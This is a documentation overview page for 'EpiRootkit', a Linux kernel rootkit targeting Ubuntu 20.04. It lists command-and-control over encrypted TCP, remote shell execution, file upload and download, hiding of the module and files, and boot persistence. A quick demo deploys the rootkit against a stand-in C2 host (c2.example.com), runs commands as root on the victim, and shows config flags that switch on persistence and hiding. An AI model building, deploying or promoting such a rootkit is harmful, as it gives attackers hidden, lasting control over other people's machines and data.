On this page
shield
EpiRootkit Overview
Linux kernel rootkit for Ubuntu 20.04 / kernel 5.4.0
Features
- C2 Communication: TCP connection with domain support and XOR encryption
 - DNS Resolution: Kernel-space domain name resolution
 - Remote Commands: Execute shell commands with output capture
 - File Transfer: Upload/download files between C2 and victim
 - Authentication: SHA-512 password verification with rate limiting
 - XOR Encryption: 32-byte key encryption for all C2 traffic
 - Sysfs Interface: Linux-native configuration using octal permission system
 - Stealth: Hide module from 
lsmodand files from directory listings - Persistence: Multiple mechanisms to survive reboots
 
Quick Demo
  # 1. Build and deploy with XOR encryption enabled
cd rootkit && make
sudo ./deploy_rootkit.sh address=c2.example.com port=443
# 2. Start C2 server  
cd attacking_program && pnpm start
# 3. Use rootkit (all communication XOR encrypted)
auth Client-1 password
# SUCCESS: Authentication successful
exec Client-1 whoami
# Exit code: 0
# Output: root
status Client-1
# EpiRootkit Status: Version 1.0.0, Module Hidden: YES, Encryption: XOR
# 4. Configure via permission bits (feature toggles)
sudo chmod 670 /sys/kernel/epirootkit/control      # group rwx = all features enabled
sudo cat /sys/kernel/epirootkit/control                  # Check status
  Architecture
Core Components
- Network Layer: Connection management and DNS resolution
 - Command System: Authentication and remote execution
 - Stealth Features: Module and file hiding
 - Persistence: Boot survival mechanisms
 
Communication Flow
  C2 Server  ←→  Network/DNS  ←→  EpiRootkit  ←→  Linux Kernel
(Node.js)      (TCP/UDP)       (Module)        (System Calls)
  Technical Stack
- Target: Ubuntu 20.04 LTS, kernel 5.4.0, x86_64
 - Language: C (kernel module) + Node.js (C2 server)
 - APIs: ftrace, kretprobe, VFS, UDP sockets
 - Network: TCP (C2) + UDP (DNS resolution)
 - Encryption: XOR cipher with 32-byte hardcoded key
 - Authentication: SHA-512 with rate limiting (5 attempts/60s)
 
Configuration
Edit rootkit/core/config.h:
  #define C2_SERVER_ADDRESS "c2.example.com"  // Domain or IP
#define C2_SERVER_PORT 4444
#define ENABLE_PERSISTENCE 1       // Auto-install persistence
#define ENABLE_MODULE_HIDING 1     // Hide by default
#define ENABLE_FILE_HIDING 1       // Hide files with prefixes
  Documentation
- Deployment: Build and load with domain support
 - Connection: Network communication and XOR encryption
 - XOR Encryption: XOR encryption implementation
 - DNS Resolution: Domain name resolution
 - Commands: Remote command execution
 - File Transfer: Upload/download files
 - Stealth: Module and file hiding
 - Persistence: Boot survival mechanisms